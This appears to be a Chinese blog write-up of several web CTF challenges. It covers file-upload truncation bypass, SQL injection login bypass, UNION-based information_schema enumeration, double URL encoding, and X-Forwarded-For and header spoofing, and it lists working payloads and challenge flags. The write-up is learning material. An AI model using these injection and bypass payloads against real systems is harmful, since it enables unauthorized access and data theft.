DDCTF
Posted sylover
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DDCTF相关的知识,希望对你有一定的参考价值。
1.上传绕过
按题目的要求上传一个.jpg文件,但是如果想绕过上传,一定是要传入一个php文件才可以,因此可以用截断绕过的方式。
截断绕过:
<% path="upfiles/picture/" file="20121212.jpg" upfilename=path & file ‘最后的上传地址 %>
最终upfilename的格式为 upfiles/picture/1.php+xx.jpg 就是以图片上传的方式将php文件传入,因此这道题也可以利用这一性质。
在这两处将php文件件添加上,随后一个以.jpg文件的形式传入的php文件就被传入服务器了。
第二件事,虽然在形式上已经将php文件添加到上传列表,真正想被服务器接收需要更改hex码,
hex码是将代码转化为16进制的编码然后进行上传。
寻找方法,找到需要更改代码的那一行,然后对照字符寻找数字,例如我们想把php+添加进去,+对应的字符为00 那就找到第三个数字改为00,当时在旁听XX科技大学研究生课的时候
,这个东西有一个统一的名称叫标志位,用来寻找每一个字符对应的编码这么一个东西。改好后,response一下。
2.
解释一下这里涉及的一些函数: srttev调转函数 strrev(‘hsy‘) = ‘ysh‘
base64,str_rot13都是加密方式, substr(‘a‘,‘b‘,‘x‘) 在a字符串的第b个位置开始截取长度为x的字符, substr(‘zyghsy‘,4,3)=hsy ord(a) 返回a的ascii码, chr将ascii码转回字符。
虽然涉及到很多关于字符串的函数,但是在解题中不需要把这些函数都弄得太明白。
题目的意思就是给出函数的最终运行结果,逆回去推出自变量就可以,遇到这种题,自己画个流程图,往回推就好。
<?php $str = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; $_o=""; $_ = base64_decode(strrev(str_rot13($str))); for($_0=0;$_0<strlen($_);$_0++) { $_c = substr($_,$_0,1); $__ = ord($_c)-1; $_c = chr($__); $_o = $_o.$_c; } echo strrev($_o); ?>
3.程序逻辑错误
右键查看代码,贴出关键代码。
$user = $_POST[user]; $pass = md5($_POST[pass]); $sql = "select pw from php where user=‘$user‘"; $query = mysql_query($sql); if (!$query) { printf("Error: %s ", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { echo "<p>Logged in! Key:************** </p>"; } else { echo("<p>Log in failure!</p>"); }
$sql="select pw from php where .... 这句话很明显存在SQL注入,
strcasemap($pass,$row[pw])的意思是判断pass和row[pw]是否相同。
因此只需要保证传入的pw和username经过MD5加密后的值相等就可以绕过。
username= 1‘ union select MD5(1) # password=1 就ok了。
3.PHP
<?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: *****************} </p>"; } ?> <br><br> Can you authenticate to this website?
这段代码的意思是传入的id经过URL编码需要等于hackDJ,计算出id就可以。做法是将hackDJ进行两次URL编码。
?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%34%34%25%34%61
这里的一个坑就是需要两次解码,因为在get传入的时候事实上已经经过了一次编码。
4.SQL注入
简便的方法就是放到sqlmap里跑一圈就得到了。比赛中为了节约时间还是建议用sqlmap,自己做题时候还是手动自己敲一遍语句。。
1.id=1 union select 1,2
2. id=-1 union select 1,schema_name from information_schema.schemata limit 0,2
3.id=-1 union select 1,table_name from information_schema.tables where table_schema=0x6d795f6462 limit 0,2
4.id=-1 union select 1,column_name from information_schema.columns where table_schema=0x6d795f6462 limit 0,3
5.id=-1 union select 1,k0y from thiskey
SQLMAP:
一个在拼多多的学长和我说 他在华为赛门铁克的时候用的所有封装好的框架,开源的代码,还有工具,工作之余都会自己手动把这些直接套用的代码模板都再写一遍,当然coding能力肯定是一流的。直接总包160W跳槽到拼多多了。。很佩服。。。。。
5.代码审计
<?php function GetIP(){ if(!empty($_SERVER["HTTP_CLIENT_IP"])) $cip = $_SERVER["HTTP_CLIENT_IP"]; else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $cip = $_SERVER["HTTP_X_FORWARDED_FOR"]; else if(!empty($_SERVER["REMOTE_ADDR"])) $cip = $_SERVER["REMOTE_ADDR"]; else $cip = "0.0.0.0"; return $cip; } $GetIPs = GetIP(); if ($GetIPs=="1.1.1.1"){ echo "Great! Key is *********"; } else{ echo "错误!你的IP不在访问列表之内!"; } ?>
这题我好像在以前做过,考的是server变量,server变量 作为HTTP中用户端和服务器连接的桥梁,包含了例如XFF , ip,这些信息。正确做法很麻烦,好像还要写py,简单做法,修改XFF。
修改成代码中要求的1.1.1.1
答案:SimCTF{daima_shengji}
6.
题目开始给出这样几个提示,意思是:没有权限访问这个页面,请确保使用.net framework 9.1 登陆,确保使用英国服务器和IE浏览器打开此网页。
很明显的套路,利用伪造各种限制
把这些信息全部按规定做修改,就出现答案了。
The key is:HTTpH34der
7.catch
题目给个提示catch,做法那应该就是抓包了。
抓包时候看row那一行多余的,开始时候没注意到,后来以为那一串东西的个加密字符才注意到的,直接把那一行字符串复制到key中就出答案了。
KEY: #WWWnsf0cus_NET#
做了一晚上,实验吧的题终于做完了。祝大家清明节假期快乐哦。
以上是关于DDCTF的主要内容,如果未能解决你的问题,请参考以下文章